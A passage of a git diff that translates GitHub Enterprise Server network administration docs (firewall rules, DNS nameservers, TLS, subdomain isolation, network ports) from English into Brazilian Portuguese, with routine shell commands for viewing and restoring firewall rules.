+O {% data variables.product.prodname_ghe_server %} usa o Uncomplicated Firewall (UFW) do Ubuntu no appliance virtual. Para obter mais informações, consulte "[UFW](https://help.ubuntu.com/community/UFW)" na documentação do Ubuntu. O {% data variables.product.prodname_ghe_server %} atualiza automaticamente a lista de desbloqueio de firewall dos serviços permitidos em cada versão.
 
-The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213).
+Depois da instalação do {% data variables.product.prodname_ghe_server %}, todas as portas de rede necessárias ficam abertas automaticamente para aceitar conexões. As portas desnecessárias são configuradas automaticamente como `deny`, e a política de saída padrão é configurada como `allow`. O rastreamento com estado fica habilitado para novas conexões; em geral, são pacotes de rede com o conjunto de bits `SYN`. Para obter mais informações, consulte "[Portas de rede](/enterprise/admin/guides/installation/network-ports)".
 
-## Viewing the default firewall rules
+O firewall UFW também abre várias outras portas necessárias para o funcionamento adequado do {% data variables.product.prodname_ghe_server %}. Para obter mais informações sobre o conjunto de regras da UFW, consulte [o README da UFW](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213).
+
+## Exibir as regras padrão de firewall
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this:
+2. Para exibir as regras de firewall padrão, use o comando `sudo ufw status`. Você verá um conteúdo semelhante a este:
   ```shell
   $ sudo ufw status
   > Status: active
@@ -55,46 +56,46 @@ The UFW firewall also opens several other ports that are required for {% data va
   > ghe-9418 (v6)              ALLOW       Anywhere (v6)
   ```
 
-## Adding custom firewall rules
+## Adicionar regras personalizadas de firewall
 
 {% warning %}
 
-**Warning:** Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, contact {% data variables.contact.contact_ent_support %} to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server.
+**Aviso:** antes de adicionar regras personalizadas de firewall, faça backup das regras atuais caso você precise voltar a um estado de trabalho conhecido. Se você não conseguir acessar o servidor, entre em contato com o {% data variables.contact.contact_ent_support %} para reconfigurar as regras originais do firewall. Restaurar as regras originais gera tempo de inatividade no servidor.
 
 {% endwarning %}
 
-1. Configure a custom firewall rule.
-2. Check the status of each new rule with the `status numbered` command.
+1. Configure uma regra personalizada de firewall.
+2. Verifique o status de cada regra com o comando `status numbered`.
   ```shell
   $ sudo ufw status numbered
   ```
-3. To back up your custom firewall rules, use the `cp`command to move the rules to a new file.
+3. Para fazer backup das regras personalizadas de firewall, use o comando `cp` a fim de movê-las para um novo arquivo.
   ```shell
   $ sudo cp -r /etc/ufw ~/ufw.backup
   ```
 
-After you upgrade {% data variables.product.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules.
+Após a atualização da {% data variables.product.product_location %}, você deve reaplicar suas regras personalizadas de firewall. Para isso, é recomendável criar um script.
 
-## Restoring the default firewall rules
+## Restaurar as regras padrão de firewall
 
-If something goes wrong after you change the firewall rules, you can reset the rules from your original backup.
+Se a alteração das regras do firewall ocasionar erros, você poderá redefinir as regras originais no backup.
 
 {% warning %}
 
-**Warning:** If you didn't back up the original rules before making changes to the firewall, contact {% data variables.contact.contact_ent_support %} for further assistance.
+**Aviso:** se você não fez backup das regras originais antes de alterar o firewall, entre em contato com o {% data variables.contact.contact_ent_support %} para obter assistência.
 
 {% endwarning %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To restore the previous backup rules, copy them back to the firewall with the `cp` command.
+2. Para restaurar as regras de backup anteriores, copie-as de volta para o firewall com o comando `cp`.
   ```shell
   $ sudo cp -f ~/ufw.backup/*rules /etc/ufw
   ```
-3. Restart the firewall with the `systemctl` command.
+3. Reinicie o firewall com o comando `systemctl`.
   ```shell
   $ sudo systemctl restart ufw
   ```
-4. Confirm that the rules are back to their defaults with the `ufw status` command.
+4. Confirme a retomada das regras padrão com o comando `ufw status`.
   ```shell
   $ sudo ufw status
   > Status: active
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
index 0080d55693..5624b4c487 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring DNS nameservers
-intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.'
+title: Configurar servidores de nomes DNS
+intro: 'O {% data variables.product.prodname_ghe_server %} usa o protocolo de configuração dinâmica de host (DHCP) para configurações de DNS quando as concessões de DHCP fornecem servidores de nomes. Se os servidores de nomes não forem fornecidos por uma concessão do protocolo DHCP, ou caso você precise usar configurações DNS específicas, será possível especificá-los manualmente.'
 redirect_from:
   - /enterprise/admin/guides/installation/about-dns-nameservers
   - /enterprise/admin/installation/configuring-dns-nameservers
@@ -14,28 +14,29 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure DNS servers
+shortTitle: Configurar servidores DNS
 ---
-The nameservers you specify must resolve {% data variables.product.product_location %}'s hostname.
+
+Os servidores de nomes que você especificar devem resolver o nome de host da {% data variables.product.product_location %}.
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
-## Configuring nameservers using the virtual machine console
+## Configurar servidores de nomes usando o console de máquina virtual
 
 {% data reusables.enterprise_installation.open-vm-console-start %}
-2. Configure nameservers for your instance.
+2. Configure os servidores de nomes da sua instância.
 {% data reusables.enterprise_installation.vm-console-done %}
 
-## Configuring nameservers using the administrative shell
+## Configurar servidores de nomes usando o shell administrativo
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To edit your nameservers, enter:
+2. Para editar seus servidores de nomes, insira:
   ```shell
   $ sudo vim /etc/resolvconf/resolv.conf.d/head
   ```
-3. Append any `nameserver` entries, then save the file.
-4. After verifying your changes, save the file.
-5. To add your new nameserver entries to {% data variables.product.product_location %}, run the following:
+3. Adicione quaisquer entradas `nameserver` e salve o arquivo.
+4. Depois de verificar suas alterações, salve o arquivo.
+5. Para adicionar as suas novas entradas de nameserver para {% data variables.product.product_location %}, execute o seguinte:
   ```shell
   $ sudo service resolvconf restart
   $ sudo service dnsmasq restart
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-tls.md
index e3a251095c..e9a382dceb 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-tls.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-tls.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring TLS
-intro: 'You can configure Transport Layer Security (TLS) on {% data variables.product.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.'
+title: Configurar o TLS
+intro: 'Você pode configurar o protocolo de Segurança de Camada de Transporte (TLS, Transport Layer Security) na {% data variables.product.product_location %} para uso de certificados assinados por uma autoridade de certificação confiável.'
 redirect_from:
   - /enterprise/admin/articles/ssl-configuration
   - /enterprise/admin/guides/installation/about-tls
@@ -17,55 +17,53 @@ topics:
   - Networking
   - Security
 ---
-## About Transport Layer Security
 
-TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt.
+## Sobre o protocolo Transport Layer Security
 
-The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia.
+O TLS, protocolo que substituiu o SSL, fica habilitado e configurado com um certificado autoassinado quando o {% data variables.product.prodname_ghe_server %} é iniciado pela primeira vez. Como os certificados autoassinados não são considerados confiáveis por navegadores da web e clientes Git, esses clientes reportarão avisos de certificados até você desabilitar o TLS ou fazer upload de um certificado assinado por uma autoridade confiável, como o Let's Encrypt.
+
+O appliance do {% data variables.product.prodname_ghe_server %} enviará os headers de HTTP Strict Transport Security quando o SSL for habilitado. Desabilitar o TLS fará os usuários perderem o acesso ao appliance, pois seus navegadores não permitirão o downgrade de protocolo para HTTP. Para obter mais informações, consulte "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" na Wikipedia.
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+Para permitir o uso do FIDO U2F para autenticação de dois fatores, você deve habilitar o TLS na sua instância. Para obter mais informações, consulte "[Configurar a autenticação de dois fatores](/articles/configuring-two-factor-authentication)".
 
-## Prerequisites
+## Pré-requisitos
 
-To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority.
+Para usar o TLS em produção, você deve ter um certificado em formato PEM não criptografado assinado por uma autoridade de certificação confiável.
 
-Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia.
+Seu certificado também precisará de nomes alternativos da entidade (SAN, Subject Alternative Names) configurados para os subdomínios listados em "[Habilitar isolamento de subdomínio](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" e deverá incluir a cadeia completa de certificados, caso tenha sido assinado por uma autoridade de certificação intermediária. Para obter mais informações, consulte "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" na Wikipedia.
 
-You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)."
+Você pode gerar uma solicitação de assinatura de certificado (CSR, Certificate Signing Request) para sua instância usando o comando `ghe-ssl-generate-csr`. Para obter mais informações, consulte "[Utilitários de linha de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)".
 
-## Uploading a custom TLS certificate
+## Fazer upload de um certificado TLS personalizado
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-4. Under "TLS Protocol support", select the protocols you want to allow.
-  ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png)
-5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension.
-  ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png)
-6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension.
-  ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png)
+4. Em "TLS Protocol support" (Suporte ao protocolo TLS), selecione os protocolos que deseja permitir. ![Botões com opções de protocolos TLS](/assets/images/enterprise/management-console/tls-protocol-support.png)
+5. Em "Certificate" (Certificado), clique em **Choose File** (Escolher arquivo) para escolher um certificado TLS ou uma cadeia de certificados (no formato PEM) para instalação. Em geral, esse arquivo tem extensão *.pem*, *.crt* ou *.cer*. ![Botão para localizar arquivo de certificado TLS](/assets/images/enterprise/management-console/install-tls-certificate.png)
+6. Em "Chave não criptografada", clique em **Escolher Arquivo** para escolher uma chave RSA (no formato PEM) para ser instalada. Em geral, esse arquivo tem extensão *.key*. ![Botão para localizar arquivo de chave TLS](/assets/images/enterprise/management-console/install-tls-key.png)
 
   {% warning %}
 
-  **Warning**: Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
+  **Aviso**: Sua chave deve ser uma chave RSA e não deve ter uma frase secreta. Para obter mais informações, consulte "[Remover a frase secreta de um arquivo de chave](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
 
   {% endwarning %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-## About Let's Encrypt support
+## Sobre o suporte Let's Encrypt
 
-Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance.
+Let's Encrypt é uma autoridade de certificação pública que emite certificados TLS gratuitos, automatizados e reconhecidos como confiáveis pelos navegadores usando o protocolo ACME. Você pode obter e renovar automaticamente os certificados Let's Encrypt no seu appliance sem depender de manutenção manual.
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
-When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.product.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests.
+Ao habilitar a automação do gerenciamento de certificados TLS usando o Let's Encrypt, sua {% data variables.product.product_location %} entrará em contato com os servidores do Let's Encrypt para obter um certificado. Para renovar um certificado, os servidores do Let's Encrypt devem validar o controle do nome de domínio configurado com solicitações HTTP de entrada.
 
-You can also use the `ghe-ssl-acme` command line utility on {% data variables.product.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)."
+Você também pode usar o utilitário de linha de comando `ghe-ssl-acme` na {% data variables.product.product_location %} para gerar automaticamente um certificado Let's Encrypt. Para obter mais informações, consulte "[Utilitários de linha de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)".
 
-## Configuring TLS using Let's Encrypt
+## Configurar o TLS usando Let's Encrypt
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
@@ -73,12 +71,9 @@ You can also use the `ghe-ssl-acme` command line utility on {% data variables.pr
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-5. Select **Enable automation of TLS certificate management using Let's Encrypt**.
-  ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
+5. Selecione **Enable automation of TLS certificate management using Let's Encrypt** (Habilitar a automação do gerenciamento de certificados TLS com Let's Encrypt). ![Caixa de seleção para habilitar Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 {% data reusables.enterprise_management_console.privacy %}
-7. Click **Request TLS certificate**.
-  ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png)
-8. Wait for the "Status" to change from "STARTED" to "DONE".
-   ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png)
-9. Click **Save configuration**.
+7. Clique em **Request TLS certificate** (Solicitar certificado TSL). ![Botão Request TLS certificate (Solicitar certificado TSL)](/assets/images/enterprise/management-console/request-tls-button.png)
+8. Espere o "Status" mudar de "INICIADO" para "Concluído". ![Status Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-status.png)
+9. Clique em **Save configuration** (Salvar configuração).
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
index 24d09e4f83..5fd21bd99d 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling subdomain isolation
-intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.'
+title: Habilitar isolamento de subdomínio
+intro: 'É possível configurar o isolamento de subdomínio para separar com segurança o conteúdo enviado pelo usuário de outras partes do seu appliance do {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/about-subdomain-isolation
   - /enterprise/admin/installation/enabling-subdomain-isolation
@@ -15,51 +15,51 @@ topics:
   - Infrastructure
   - Networking
   - Security
-shortTitle: Enable subdomain isolation
+shortTitle: Habilitar isolamento de subdomínio
 ---
-## About subdomain isolation
 
-Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see "[Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)" on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.product.product_location %}.
+## Sobre isolamento de subdomínio
 
-When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors.
+O isolamento de subdomínios reduz os problemas de script entre sites e outras vulnerabilidades relacionadas. Para obter mais informações, leia mais sobre [scripts entre sites](http://en.wikipedia.org/wiki/Cross-site_scripting) na Wikipedia. É altamente recomendável habilitar o isolamento de subdomínio para a {% data variables.product.product_location %}.
 
-| Path without subdomain isolation  | Path with subdomain isolation   |
-| --- | --- |
-| `http(s)://HOSTNAME/assets/`      | `http(s)://assets.HOSTNAME/`      |
-| `http(s)://HOSTNAME/avatars/`     | `http(s)://avatars.HOSTNAME/`     |
-| `http(s)://HOSTNAME/codeload/`    | `http(s)://codeload.HOSTNAME/`    |
-| `http(s)://HOSTNAME/gist/`        | `http(s)://gist.HOSTNAME/`        |
-| `http(s)://HOSTNAME/media/`       | `http(s)://media.HOSTNAME/`       |
-| `http(s)://HOSTNAME/pages/`       | `http(s)://pages.HOSTNAME/`       |
-| `http(s)://HOSTNAME/raw/`         | `http(s)://raw.HOSTNAME/`         |
-| `http(s)://HOSTNAME/render/`      | `http(s)://render.HOSTNAME/`      |
-| `http(s)://HOSTNAME/reply/`       | `http(s)://reply.HOSTNAME/`       |
-| `http(s)://HOSTNAME/uploads/`     | `http(s)://uploads.HOSTNAME/`     | {% ifversion ghes %}
-| `https://HOSTNAME/_registry/docker/` | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
-| `https://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/`
-| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`
-| `https://HOSTNAME/_registry/maven/` | `https://maven.HOSTNAME/`
-| `https://HOSTNAME/_registry/nuget/` | `https://nuget.HOSTNAME/`{% endif %}
+Quando o isolamento do subdomínio está ativado, o {% data variables.product.prodname_ghe_server %} substitui vários caminhos pelos subdomínios. Depois de habilitar o isolamento de subdomínio, as tentativas de acessar os caminhos anteriores para alguns conteúdos fornecidos pelo usuário como `http(s)://HOSTNAME/raw/` podem retornar erros de `404`.
 
-## Prerequisites
+| Caminho sem isolamento de subdomínio   | Caminho com isolamento de subdomínio                        |
+| -------------------------------------- | ----------------------------------------------------------- |
+| `http(s)://HOSTNAME/assets/`           | `http(s)://assets.HOSTNAME/`                                |
+| `http(s)://HOSTNAME/avatars/`          | `http(s)://avatars.HOSTNAME/`                               |
+| `http(s)://HOSTNAME/codeload/`         | `http(s)://codeload.HOSTNAME/`                              |
+| `http(s)://HOSTNAME/gist/`             | `http(s)://gist.HOSTNAME/`                                  |
+| `http(s)://HOSTNAME/media/`            | `http(s)://media.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/pages/`            | `http(s)://pages.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/raw/`              | `http(s)://raw.HOSTNAME/`                                   |
+| `http(s)://HOSTNAME/render/`           | `http(s)://render.HOSTNAME/`                                |
+| `http(s)://HOSTNAME/reply/`            | `http(s)://reply.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/uploads/`          | `http(s)://uploads.HOSTNAME/`                               |{% ifversion ghes %}
+| `https://HOSTNAME/_registry/docker/`   | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
+| `https://HOSTNAME/_registry/npm/`      | `https://npm.HOSTNAME/`                                     |
+| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`                                |
+| `https://HOSTNAME/_registry/maven/`    | `https://maven.HOSTNAME/`                                   |
+| `https://HOSTNAME/_registry/nuget/`    | `https://nuget.HOSTNAME/`{% endif %}
+
+## Pré-requisitos
 
 {% data reusables.enterprise_installation.disable-github-pages-warning %}
 
-Before you enable subdomain isolation, you must configure your network settings for your new domain.
+Antes de habilitar o isolamento de subdomínio, você deve definir as configurações de rede do novo domínio.
 
-- Specify a valid domain name as your hostname, instead of an IP address. For more information, see "[Configuring a hostname](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-a-hostname)."
+- Em vez de um endereço IP, especifique um nome de domínio válido como nome de host. Para obter mais informações, consulte "[Configurar nome de host](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-a-hostname)".
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
-- Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain.
-- Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`.
-- Enable TLS on your appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls/)."
+- Configure um registro curinga do Sistema de Nomes de Domínio (DNS) ou registros DNS individuais para os subdomínios listados acima. É recomendável criar um registro A para `*.HOSTNAME` que aponte para o endereço IP do servidor, de modo que não seja preciso criar vários registros para cada subdomínio.
+- Obtenha um certificado curinga de Segurança da Camada de Transporte (TLS) para `*.HOSTNAME` com Nome Alternativo da Entidade (SAN) para `HOSTNAME` e o domínio curinga `*.HOSTNAME`. Por exemplo, se o nome de host for `github.octoinc.com`, obtenha um certificado com valor de nome comum definido como `*.github.octoinc.com` e valor SAN definido para `github.octoinc.com` e `*.github.octoinc.com`.
+- Habilite o TLS no appliance. Para obter mais informações, consulte "[Configurar TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls/)".
 
-## Enabling subdomain isolation
+## Habilitar isolamento de subdomínio
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.hostname-menu-item %}
-4. Select **Subdomain isolation (recommended)**.
-  ![Checkbox to enable subdomain isolation](/assets/images/enterprise/management-console/subdomain-isolation.png)
+4. Selecione **Subdomain isolation (recommended)** (Isolamento de subdomínio [recomendado]). ![Caixa de seleção para habilitar o isolamento de subdomínio](/assets/images/enterprise/management-console/subdomain-isolation.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/index.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/index.md
index e3a5d06573..ad393ea670 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/index.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/index.md
@@ -1,5 +1,5 @@
 ---
-title: Configuring network settings
+title: Definir as configurações de rede
 redirect_from:
   - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl
   - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings
@@ -7,7 +7,7 @@ redirect_from:
   - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings
   - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings
   - /enterprise/admin/configuration/configuring-network-settings
-intro: 'Configure {% data variables.product.prodname_ghe_server %} with the DNS nameservers and hostname required in your network. You can also configure a proxy server or firewall rules. You must allow access to certain ports for administrative and user purposes.'
+intro: 'Configure o {% data variables.product.prodname_ghe_server %} com os nomes de host e servidores de nomes DNS obrigatórios na sua rede. Você também pode configurar um servidor proxy ou regras de firewall. Para fins administrativos e de usuário, é preciso permitir o acesso a determinadas portas.'
 versions:
   ghes: '*'
 topics:
@@ -23,6 +23,6 @@ children:
   - /configuring-built-in-firewall-rules
   - /network-ports
   - /using-github-enterprise-server-with-a-load-balancer
-shortTitle: Configure network settings
+shortTitle: Definir as configurações de rede
 ---
 
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md
index 80cfbb860b..77caf7b17d 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md
@@ -1,5 +1,5 @@
 ---
-title: Network ports
+title: Portas de rede
 redirect_from:
   - /enterprise/admin/articles/configuring-firewalls
   - /enterprise/admin/articles/firewall
@@ -8,7 +8,7 @@ redirect_from:
   - /enterprise/admin/installation/network-ports
   - /enterprise/admin/configuration/network-ports
   - /admin/configuration/network-ports
-intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.'
+intro: 'Abra as portas de rede seletivamente com base nos serviços que você precisa expor para administradores, usuários finais e suporte por e-mail.'
 versions:
   ghes: '*'
 type: reference
@@ -18,36 +18,37 @@ topics:
   - Networking
   - Security
 ---
-## Administrative ports
 
-Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users.
+## Portas administrativas
 
-| Port | Service | Description |
-|---|---|---|
-| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. |
-| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. |
-| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. |
-| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.|
-| 123/UDP| NTP | Required for time protocol operation. |
-| 161/UDP | SNMP | Required for network monitoring protocol operation. |
+Certas portas administrativas são obrigatórias para configurar a {% data variables.product.product_location %} e executar determinados recursos. Não é preciso haver portas administrativas para os usuários finais aproveitarem os recursos básicos do aplicativo.
 
-## Application ports for end users
+| Porta    | Serviço | Descrição                                                                                                                                                                                                                                                            |
+| -------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 8443     | HTTPS   | {% data variables.enterprise.management_console %} seguro na web. Obrigatória para instalação e configuração básicas.                                                                                                                                                |
+| 8080     | HTTP    | {% data variables.enterprise.management_console %} de texto simples na web. Não é obrigatória, a menos que o SSL seja desativado manualmente.                                                                                                                        |
+| 122      | SSH     | Acesso de shell à {% data variables.product.product_location %}. Obrigatório para estar aberto a conexões de entrada entre todos os nós em uma configuração de alta disponibilidade. A porta SSH padrão (22) é dedicada ao tráfego de rede de aplicativos Git e SSH. |
+| 1194/UDP | VPN     | Túnel de rede de réplica segura na configuração de alta disponibilidade. Obrigatório estar aberto para a comunicação entre todos os nós da configuração.                                                                                                             |
+| 123/UDP  | NTP     | Obrigatória para operações de protocolo de tempo.                                                                                                                                                                                                                    |
+| 161/UDP  | SNMP    | Obrigatória para operações de protocolo de monitoramento de rede.                                                                                                                                                                                                    |
 
-Application ports provide web application and Git access for end users.
+## Portas de aplicativo para usuários finais
 
-| Port | Service | Description |
-|---|---|---|
-| 443 | HTTPS | Access to the web application and Git over HTTPS. |
-| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. |
-| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. |
-| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} |
+As portas de aplicativo fornecem aplicativos da web e acesso dos usuários finais ao Git.
+
+| Porta | Serviço | Descrição                                                                                                                                                                                                    |
+| ----- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| 443   | HTTPS   | Acesso ao aplicativo da web e ao Git por HTTPS.                                                                                                                                                              |
+| 80    | HTTP    | Acesso ao aplicativo da web. Todas as solicitações são redirecionadas para a porta HTTPS quando o SSL está ativado.                                                                                          |
+| 22    | SSH     | Acesso ao Git por SSH. Compatível com operações de clonagem, fetch e push em repositórios públicos e privados.                                                                                               |
+| 9418  | Git     | A porta do protocolo Git é compatível com operações de clonagem e fetch em repositórios públicos com comunicação de rede não criptografada. {% data reusables.enterprise_installation.when-9418-necessary %}
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Email ports
+## Portas de e-mail
 
-Email ports must be accessible directly or via relay for inbound email support for end users.
+As portas de e-mail devem estar acessíveis diretamente ou via retransmissão para oferecer suporte de e-mail aos usuários finais.
 
-| Port | Service | Description |
-|---|---|---|
-| 25 | SMTP | Support for SMTP with encryption (STARTTLS). |
+| Porta | Serviço | Descrição                                   |
+| ----- | ------- | ------------------------------------------- |
